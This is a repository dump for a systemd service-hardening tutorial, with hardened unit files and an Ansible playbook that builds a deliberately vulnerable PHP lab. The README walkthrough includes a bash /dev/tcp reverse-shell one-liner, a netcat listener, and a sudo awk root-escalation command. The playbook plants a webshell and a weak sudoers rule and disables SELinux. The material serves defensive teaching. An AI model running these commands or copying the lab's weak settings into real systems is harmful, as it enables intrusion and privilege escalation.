├── ansible ├── inventory ├── files │ ├── webshell.php │ ├── php-fpm.service │ └── sudoers └── main.yml ├── systemd.jpg ├── webshell.png ├── service-start.png ├── systemd-analyze.png ├── systemd-service-hardening.pdf ├── simplehttp.service └── README.md /ansible/inventory: -------------------------------------------------------------------------------- 1 | [php-webserver] 2 | webserver ansible_host=192.168.1.2 3 | -------------------------------------------------------------------------------- /systemd.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alegrey91/systemd-service-hardening/HEAD/systemd.jpg -------------------------------------------------------------------------------- /webshell.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alegrey91/systemd-service-hardening/HEAD/webshell.png -------------------------------------------------------------------------------- /service-start.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alegrey91/systemd-service-hardening/HEAD/service-start.png -------------------------------------------------------------------------------- /systemd-analyze.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alegrey91/systemd-service-hardening/HEAD/systemd-analyze.png -------------------------------------------------------------------------------- /systemd-service-hardening.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alegrey91/systemd-service-hardening/HEAD/systemd-service-hardening.pdf -------------------------------------------------------------------------------- /ansible/files/webshell.php: -------------------------------------------------------------------------------- 1 |
2 | Command: 3 |
4 | Output:
5 |
6 | -------------------------------------------------------------------------------- /ansible/files/php-fpm.service: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=The PHP FastCGI Process Manager 3 | After=syslog.target network.target 4 | 5 | [Service] 6 | Type=notify 7 | ExecStart=/usr/sbin/php-fpm --nodaemonize 8 | ExecReload=/bin/kill -USR2 $MAINPID 9 | RuntimeDirectory=php-fpm 10 | RuntimeDirectoryMode=0755 11 | 12 | # Hardening 13 | PrivateTmp=true 14 | NoNewPrivileges=true 15 | ProtectSystem=full 16 | PrivateDevices=true 17 | ProtectHome=true 18 | 19 | [Install] 20 | WantedBy=multi-user.target 21 | -------------------------------------------------------------------------------- /simplehttp.service: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=Job that runs the python http.server daemon 3 | Documentation=https://docs.python.org/3/library/http.server.html 4 | 5 | [Service] 6 | Type=simple 7 | WorkingDirectory=/home/user 8 | ExecStart=/usr/bin/python3 -m http.server 9 | ExecStop=/bin/kill -9 $MAINPID 10 | 11 | # Sandboxing features 12 | PrivateTmp=yes 13 | NoNewPrivileges=true 14 | ProtectSystem=strict 15 | CapabilityBoundingSet=CAP_NET_BIND_SERVICE CAP_DAC_READ_SEARCH 16 | RestrictNamespaces=uts ipc pid user cgroup 17 | ProtectKernelTunables=yes 18 | ProtectKernelModules=yes 19 | ProtectControlGroups=yes 20 | PrivateDevices=yes 21 | RestrictSUIDSGID=true 22 | IPAddressAllow=192.168.1.0/24 23 | 24 | [Install] 25 | WantedBy=multi-user.target 26 | -------------------------------------------------------------------------------- /ansible/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: PHP-FPM Service Hardening Demo 4 | hosts: php-webserver 5 | tasks: 6 | - name: Set hostname 7 | hostname: 8 | name: php-fpm-service-hardening.demo 9 | 10 | - name: Update packages repository 11 | yum: 12 | name: '*' 13 | state: latest 14 | 15 | - name: Install nginx package 16 | yum: 17 | name: nginx 18 | state: latest 19 | 20 | - name: Install remi rpm 21 | yum: 22 | name: http://rpms.remirepo.net/enterprise/remi-release-8.rpm 23 | state: present 24 | 25 | - name: Reset php module 26 | command: | 27 | dnf module reset -y php 28 | 29 | - name: Enable php:remi module 30 | command: | 31 | dnf module enable -y php:remi-7.4 32 | 33 | - name: Update packages 34 | yum: 35 | name: '*' 36 | state: latest 37 | 38 | - name: Install php packages 39 | yum: 40 | name: "{{ item }}" 41 | state: latest 42 | with_items: 43 | - "php" 44 | - "php-fpm" 45 | - "php-gd" 46 | - "php-mysqlnd" 47 | 48 | - name: Start php service 49 | systemd: 50 | name: php-fpm 51 | state: started 52 | enabled: yes 53 | 54 | - name: Start nginx service 55 | systemd: 56 | name: nginx 57 | state: started 58 | enabled: yes 59 | 60 | - name: Enable firewall rules 61 | firewalld: 62 | service: "{{ item }}" 63 | permanent: yes 64 | immediate: yes 65 | state: enabled 66 | zone: public 67 | with_items: 68 | - "http" 69 | - "https" 70 | 71 | - name: Deploy webshell for tests 72 | copy: 73 | src: webshell.php 74 | dest: /usr/share/nginx/html/webshell.php 75 | mode: '0655' 76 | 77 | - name: Deploy vulnerable sudoers file 78 | copy: 79 | src: sudoers 80 | dest: /etc/sudoers 81 | owner: root 82 | group: root 83 | mode: '0440' 84 | 85 | - name: Disable SELinux for tests 86 | selinux: 87 | state: disabled 88 | 89 | -------------------------------------------------------------------------------- /ansible/files/sudoers: -------------------------------------------------------------------------------- 1 | ## Sudoers allows particular users to run various commands as 2 | ## the root user, without needing the root password. 3 | ## 4 | ## Examples are provided at the bottom of the file for collections 5 | ## of related commands, which can then be delegated out to particular 6 | ## users or groups. 7 | ## 8 | ## This file must be edited with the 'visudo' command. 9 | 10 | ## Host Aliases 11 | ## Groups of machines. You may prefer to use hostnames (perhaps using 12 | ## wildcards for entire domains) or IP addresses instead. 13 | # Host_Alias FILESERVERS = fs1, fs2 14 | # Host_Alias MAILSERVERS = smtp, smtp2 15 | 16 | ## User Aliases 17 | ## These aren't often necessary, as you can use regular groups 18 | ## (ie, from files, LDAP, NIS, etc) in this file - just use %groupname 19 | ## rather than USERALIAS 20 | # User_Alias ADMINS = jsmith, mikem 21 | 22 | 23 | ## Command Aliases 24 | ## These are groups of related commands... 25 | 26 | ## Networking 27 | # Cmnd_Alias NETWORKING = /sbin/route, /sbin/ifconfig, /bin/ping, /sbin/dhclient, /usr/bin/net, /sbin/iptables, /usr/bin/rfcomm, /usr/bin/wvdial, /sbin/iwconfig, /sbin/mii-tool 28 | 29 | ## Installation and management of software 30 | # Cmnd_Alias SOFTWARE = /bin/rpm, /usr/bin/up2date, /usr/bin/yum 31 | 32 | ## Services 33 | # Cmnd_Alias SERVICES = /sbin/service, /sbin/chkconfig, /usr/bin/systemctl start, /usr/bin/systemctl stop, /usr/bin/systemctl reload, /usr/bin/systemctl restart, /usr/bin/systemctl status, /usr/bin/systemctl enable, /usr/bin/systemctl disable 34 | 35 | ## Updating the locate database 36 | # Cmnd_Alias LOCATE = /usr/bin/updatedb 37 | 38 | ## Storage 39 | # Cmnd_Alias STORAGE = /sbin/fdisk, /sbin/sfdisk, /sbin/parted, /sbin/partprobe, /bin/mount, /bin/umount 40 | 41 | ## Delegating permissions 42 | # Cmnd_Alias DELEGATING = /usr/sbin/visudo, /bin/chown, /bin/chmod, /bin/chgrp 43 | 44 | ## Processes 45 | # Cmnd_Alias PROCESSES = /bin/nice, /bin/kill, /usr/bin/kill, /usr/bin/killall 46 | 47 | ## Drivers 48 | # Cmnd_Alias DRIVERS = /sbin/modprobe 49 | 50 | # Defaults specification 51 | 52 | # 53 | # Refuse to run if unable to disable echo on the tty. 54 | # 55 | Defaults !visiblepw 56 | 57 | # 58 | # Preserving HOME has security implications since many programs 59 | # use it when searching for configuration files. Note that HOME 60 | # is already set when the the env_reset option is enabled, so 61 | # this option is only effective for configurations where either 62 | # env_reset is disabled or HOME is present in the env_keep list. 63 | # 64 | Defaults always_set_home 65 | Defaults match_group_by_gid 66 | 67 | # Prior to version 1.8.15, groups listed in sudoers that were not 68 | # found in the system group database were passed to the group 69 | # plugin, if any. Starting with 1.8.15, only groups of the form 70 | # %:group are resolved via the group plugin by default. 71 | # We enable always_query_group_plugin to restore old behavior. 72 | # Disable this option for new behavior. 73 | Defaults always_query_group_plugin 74 | 75 | Defaults env_reset 76 | Defaults env_keep = "COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS" 77 | Defaults env_keep += "MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE" 78 | Defaults env_keep += "LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES" 79 | Defaults env_keep += "LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE" 80 | Defaults env_keep += "LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY" 81 | 82 | # 83 | # Adding HOME to env_keep may enable a user to run unrestricted 84 | # commands via sudo. 85 | # 86 | # Defaults env_keep += "HOME" 87 | 88 | Defaults secure_path = /sbin:/bin:/usr/sbin:/usr/bin 89 | 90 | ## Next comes the main part: which users can run what software on 91 | ## which machines (the sudoers file can be shared between multiple 92 | ## systems). 93 | ## Syntax: 94 | ## 95 | ## user MACHINE=COMMANDS 96 | ## 97 | ## The COMMANDS section may have other options added to it. 98 | ## 99 | ## Allow root to run any commands anywhere 100 | root ALL=(ALL) ALL 101 | 102 | apache ALL = NOPASSWD: /usr/bin/awk 103 | 104 | ## Allows members of the 'sys' group to run networking, software, 105 | ## service management apps and more. 106 | # %sys ALL = NETWORKING, SOFTWARE, SERVICES, STORAGE, DELEGATING, PROCESSES, LOCATE, DRIVERS 107 | 108 | ## Allows people in group wheel to run all commands 109 | %wheel ALL=(ALL) ALL 110 | 111 | ## Same thing without a password 112 | # %wheel ALL=(ALL) NOPASSWD: ALL 113 | 114 | ## Allows members of the users group to mount and unmount the 115 | ## cdrom as root 116 | # %users ALL=/sbin/mount /mnt/cdrom, /sbin/umount /mnt/cdrom 117 | 118 | ## Allows members of the users group to shutdown this system 119 | # %users localhost=/sbin/shutdown -h now 120 | 121 | ## Read drop-in files from /etc/sudoers.d (the # here does not mean a comment) 122 | #includedir /etc/sudoers.d 123 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Systemd Service Hardening 2 | 3 | This is a demonstration about the powerful of **systemd**. 4 | From latest realeases, **systemd** implemented some interesting features. These features regards security, in particular the sandboxing. 5 | The file `simplehttp.service` provides some of these directives made available by **systemd**. 6 | The images show, step-by-step, how to harden the service using specific directives and check them with provided systemd tools. 7 | 8 | ![](./systemd.jpg) 9 | 10 | by [alegrey91](https://github.com/alegrey91/systemd-service-hardening). 11 | 12 | ## Debugging 13 | 14 | Systemd made available an interesting tool named **systemd-analyze**. 15 | 16 | The `systemd-analyze security` command generates a report about security exposure for each service present in our distribution. 17 | 18 | ![](./systemd-analyze.png) 19 | 20 | This allow us to check the improvements applied to our **systemd** service, directive by directive. 21 | 22 | As you can see, more of the **services** are actually marked as **UNSAFE**, this probably because not all applications still apply the features made available by **systemd**. 23 | 24 | 25 | 26 | ## Getting Started 27 | 28 | Let's start from a basic command to start `python3 -m http.server` as a service: 29 | 30 | ```[Unit] 31 | Description=Job that runs the python http.server daemon 32 | Documentation=https://docs.python.org/3/library/http.server.html 33 | 34 | [Service] 35 | Type=simple 36 | ExecStart=/usr/bin/python3 -m http.server 37 | ExecStop=/bin/kill -9 $MAINPID 38 | 39 | [Install] 40 | WantedBy=multi-user.target 41 | ``` 42 | 43 | Checking the security exposure through `systemd-analyze security` we obtain the following result: 44 | 45 | ![](./service-start.png) 46 | 47 | The security value is actually **9.6**/**10** and is marked as **UNSAFE**. 48 | 49 | Let's see now, how to harden the current service to make it safer. 50 | 51 | **N.B.** Not all of the following directives will be useful for the current service. It's just a demonstration on how to reduce the exposure for a generic **systemd** service. 52 | 53 | ### PrivateTmp 54 | 55 | Creates a file system namespace under `/tmp/systemd-private-*-[unit name]-*/tmp` rather than a shared `/tmp` or `/var/tmp`. Many of the unit files that ship with Red Hat Enterprise Linux include this setting and it removes an entire class of vulnerabilities around the prediction and replacement of files used in `/tmp`. [4] 56 | 57 | This is how the service appear after the insertion of the following directive: 58 | 59 | ``` 60 | Description=Job that runs the python http.server daemon 61 | Documentation=https://docs.python.org/3/library/http.server.html 62 | 63 | [Service] 64 | Type=simple 65 | ExecStart=/usr/bin/python3 -m http.server 66 | ExecStop=/bin/kill -9 $MAINPID 67 | 68 | # Sandboxing features 69 | PrivateTmp=yes 70 | 71 | [Install] 72 | WantedBy=multi-user.target 73 | ``` 74 | 75 | The result obtained from `systemd-analyze` is the following: 76 | 77 | `simplehttp.service 9.2 UNSAFE 😨` 78 | 79 | Good! We lower down from **9.6** to **9.2**. 80 | 81 | Let's see how to improve the final result. 82 | 83 | ### NoNewPrivileges 84 | 85 | Prevents the service and related child processes from escalating privileges. [4] 86 | 87 | Add the following row: 88 | 89 | ```NoNewPrivileges=true``` 90 | 91 | The result obtainer is now: 92 | 93 | ```simplehttp.service 9.0 UNSAFE 😨``` 94 | 95 | ### RestrictNamespaces 96 | 97 | Restrict all or a subset of namespaces to the service. Accepts `cgroup`, `ipc`, `net`, `mnt`, `pid`, `user`, and `uts`. [4] 98 | 99 | Add the following row: 100 | 101 | ```RestrictNamespaces=uts ipc pid user cgroup``` 102 | 103 | As you can see above, the `net` namespace has not been set due to the fact that the service needs to bind itself on a network interface. 104 | 105 | Isolating `net` from a network service will cause the uselessness of this. 106 | 107 | ```simplehttp.service 8.8 EXPOSED 😨``` 108 | 109 | ### Final results 110 | 111 | Once we added the other directives to the service, we obtained a service like this: 112 | 113 | ```[Unit] 114 | Description=Job that runs the python http.server daemon 115 | Documentation=https://docs.python.org/3/library/http.server.html 116 | 117 | [Service] 118 | Type=simple 119 | ExecStart=/usr/bin/python3 -m http.server 120 | ExecStop=/bin/kill -9 $MAINPID 121 | 122 | # Sandboxing features 123 | PrivateTmp=yes 124 | NoNewPrivileges=true 125 | ProtectSystem=strict 126 | CapabilityBoundingSet=CAP_NET_BIND_SERVICE CAP_DAC_READ_SEARCH 127 | RestrictNamespaces=uts ipc pid user cgroup 128 | ProtectKernelTunables=yes 129 | ProtectKernelModules=yes 130 | ProtectControlGroups=yes 131 | PrivateDevices=yes 132 | RestrictSUIDSGID=true 133 | IPAddressAllow=192.168.1.0/24 134 | 135 | [Install] 136 | WantedBy=multi-user.target 137 | ``` 138 | 139 | Reaching a really interesting result: 140 | 141 | ```simplehttp.service 4.9 OK 😃``` 142 | 143 | Well done! We obtained a good result passing from **9.6** to **4.9**, partially securing the entire system. 144 | 145 | 146 | 147 | ## Demo 148 | 149 | If you want to try by yourself to setup a common **systemd** service, I provided for you a basic **ansible** script to deploy a working environment to make some practice. 150 | 151 | The ansible provisioner script is available under `ansible/` directory of the same repository. 152 | 153 | This script deploy for you a little (vulnerable) environment to understand and configure the **php-fpm** **systemd** service, allowing you to reduce the attack surface, using some of the features listed above. 154 | 155 | ### Scenario 156 | 157 | Suppose you have an **nginx** webserver which is hosting your php website. The scenario that I created, starts from the possibility to have a RCE, using the webshell uploaded by the attacker. 158 | 159 | Once inside the system you'll be able to understand how, step-by-step, it's possible to reduce the attack surface just using some **systemd** feature. 160 | 161 | ### Prerequirements 162 | 163 | To use the ansible script, you'll need at least a **CentOS 8.1** system to deploy the entire installation. 164 | 165 | ### Environment Setup 166 | 167 | Once you installed the remote system, you are ready to deploy the environment with ansible following the steps below. 168 | 169 | From your local machine, copy your ssh keys onto the remote system: 170 | 171 | `ssh-copy-id root@your-webserver.ip` 172 | 173 | Go under the `ansible/` directory of this repository: 174 | 175 | `cd ansible/` 176 | 177 | Define the `inventory` file replacing the conten of *ansible_host* variable with your webserver ip as shown below: 178 | 179 | ```ini 180 | [php-webserver] 181 | 182 | webserver ansible_host=your-webserver.ip 183 | ``` 184 | 185 | Deploy the environment with ansible: 186 | 187 | `ansible-playbook -i inventory -v main.yml -u root` 188 | 189 | Once finished you are ready to start the demo. 190 | 191 | ### Getting Started 192 | 193 | Using your browser, you'll find the vulnerable service at http://your-webserver.ip/webshell.php. 194 | 195 | You can gain a revers shell just using **netcat** from your local machine: 196 | 197 | `nc -lnvp 4444`, 198 | 199 | and put this command onto the webshell input form: 200 | 201 | `bash -i >& /dev/tcp/your-local.ip/4444 0>&1`. 202 | 203 | The result is show in the image below: 204 | 205 | ![](./webshell.png) 206 | 207 | At this time you're ready to check step-by-step the improvements of **systemd** features. 208 | 209 | #### Step #1 (exploitation) 210 | 211 | Once inside the system we can try to exploit it by searching for misconfigurations. 212 | 213 | One of them is located into the `/etc/sudoers` file. 214 | 215 | We can recognize this by typing the command `sudo -l`. 216 | 217 | The result is shown below: 218 | 219 | `(root) NOPASSWD: /usr/bin/awk` 220 | 221 | This means we can use `awk` as sudo. 222 | 223 | To exploit this misconfiguration we can use the following command: 224 | 225 | `sudo /usr/bin/awk 'BEGIN {system("/bin/sh")}'` 226 | 227 | At this point we should have become the **root** user! 228 | 229 | But, how can we protect ourselves form this kind of privilege escalation? The answer is explained on the following rows. 230 | 231 | #### Step #2 (hardenization) 232 | 233 | First of all, verify the security exposure of **php-fpm.service** by typing: 234 | 235 | `systemd-analyze security php-fpm` 236 | 237 | The result is: 238 | 239 | `→ Overall exposure level for php-fpm.service: 9.2 UNSAFE 😨`. 240 | 241 | Now, edit the **php-fpm** service by typing: 242 | 243 | `systemctl edit --full php-fpm`, 244 | 245 | and add the following feature under the `[Service]` section: 246 | 247 | `NoNewPrivileges=true` 248 | 249 | This permits to block some kind of privilege escalation from the current user to another (in out case from **apache** to **root**). 250 | 251 | #### Step #3 (verification) 252 | 253 | Check the entered feature is available and typo errors are not presents: 254 | 255 | `systemd-analyze verify php-fpm.service` 256 | 257 | Verify the security exposure now: 258 | 259 | ```bash 260 | systemd-analyze security php-fpm.service 261 | → Overall exposure level for php-fpm.service: 9.0 UNSAFE 😨 262 | ``` 263 | 264 | We reduced the exposure of **0.2** points. 265 | 266 | Restart the php-fpm service: 267 | 268 | `systemctl restart php-fpm`, 269 | 270 | and try to repeat the exploitation. 271 | 272 | #### Step #4 (2nd exploitation) 273 | 274 | As you can observe now, the command `sudo -l` report to us the following message: 275 | 276 | `sudo: effective uid is not 0, is sudo installed setuid root?`. 277 | 278 | This means we have prevented the privilege escalation enabling the `NoNewPrivileges` feature! 279 | 280 | #### Conclusion 281 | 282 | After the demo, you can find the hardenized file for php-fpm **systemd** service under `ansible/file/php-fpm.service`. 283 | 284 | 285 | 286 | ## Credits 287 | 288 | A special thanks to [ghibbo](https://github.com/ghibbo) for his help and support during the tests. 289 | 290 | 291 | 292 | ## References 293 | 294 | 1. https://lincolnloop.com/blog/sandboxing-services-systemd/ 295 | 2. https://dev.to/djmoch/hardening-services-with-systemd-2md7 296 | 3. https://www.ctrl.blog/entry/systemd-service-hardening.html 297 | 4. https://www.redhat.com/sysadmin/mastering-systemd 298 | 5. http://man7.org/linux/man-pages/man7/capabilities.7.html 299 | 6. https://tim.siosm.fr/blog/2018/09/02/linux-system-hardening-thanks-to-systemd/ --------------------------------------------------------------------------------